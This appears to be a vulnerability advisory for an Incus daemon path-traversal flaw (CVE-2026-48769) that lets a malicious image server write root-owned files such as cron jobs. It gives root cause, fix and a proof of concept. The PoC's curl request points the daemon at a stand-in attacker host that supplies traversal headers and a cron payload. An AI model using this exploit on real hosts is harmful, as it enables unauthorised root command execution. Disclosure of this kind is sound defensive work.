critical · 9.9CVE-2026-48769Jun 26, 2026

CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious image server can trick the Incus daemon into writing attacker-controlled content to any file on the host, including cron jobs, by returning a path-traversal sequence in the HTTP…

Packagegithub.com/lxc/incus/v7/cmd/incusd
Ecosystemgo
Affected< 7.2.0
Fixed in7.2.0

The problem

When a user posts source.type=url to POST /1.0/images, incusd HEADs the supplied URL and blindly trusts the Incus-Image-Hash response header as the download fingerprint. That value is passed directly into imageDownload() as the fp (fingerprint) variable.

Inside daemon_images.go, fp is joined with destDir via filepath.Join(destDir, fp) with no sanitisation. The resulting destName is opened with os.Create() and the HTTP response body is streamed into it before any SHA-256 check runs. An attacker-controlled hash of ../../../../etc/cron.d/evil therefore creates and populates an arbitrary host file as root.

Proof of concept

A working proof-of-concept for CVE-2026-48769 in github.com/lxc/incus/v7/cmd/incusd, with the exact payload below.

bash
# 1. Attacker runs a server that answers HEAD /stage with traversal headers:
#    Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
#    Incus-Image-URL:  http://attacker:8088/payload
#    GET /payload returns the cron line below (kept open to delay cleanup).

# 2. Trigger from any machine with access to the Incus Unix socket or API:
curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST \
  -H 'Content-Type: application/json' \
  -d '{
    "source": {
      "type": "url",
      "url": "http://attacker:8088/stage"
    },
    "public": false
  }' \
  http://incus/1.0/images

# Content written to /etc/cron.d/incus-direct-image-url-rce by the daemon:
# * * * * *  root  /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'

The root cause is that fp defaults to the caller-supplied alias string (daemon_images.go:91-92) and is never validated before it is passed to filepath.Join(destDir, fp) at line 333. filepath.Join does not prevent traversal: a value like ../../../../etc/cron.d/evil resolves cleanly to a path outside destDir.

The SHA-256 integrity check at lines 528-532 runs only after os.Create() and the full response copy have already completed, so the write happens unconditionally. The fix in 7.2.0 adds a filepath.Clean check immediately after fp is set: if the cleaned path does not have destDir as a prefix, the download is aborted before the file is ever opened.

CWE-22 (Path Traversal) is the precise classification. Because incusd runs as root and cron files written to /etc/cron.d/ execute within seconds, the arbitrary write trivially escalates to arbitrary command execution on the host.

The fix

Upgrade incusd to **Incus 7.2.0** or later. The patch validates fp with filepath.Clean and confirms the resolved destination is still inside destDir before calling os.Create(). No configuration workaround exists for earlier versions; restrict API access to trusted operators as a partial mitigation.

Reporter not attributed.

References: [1][2]

Related research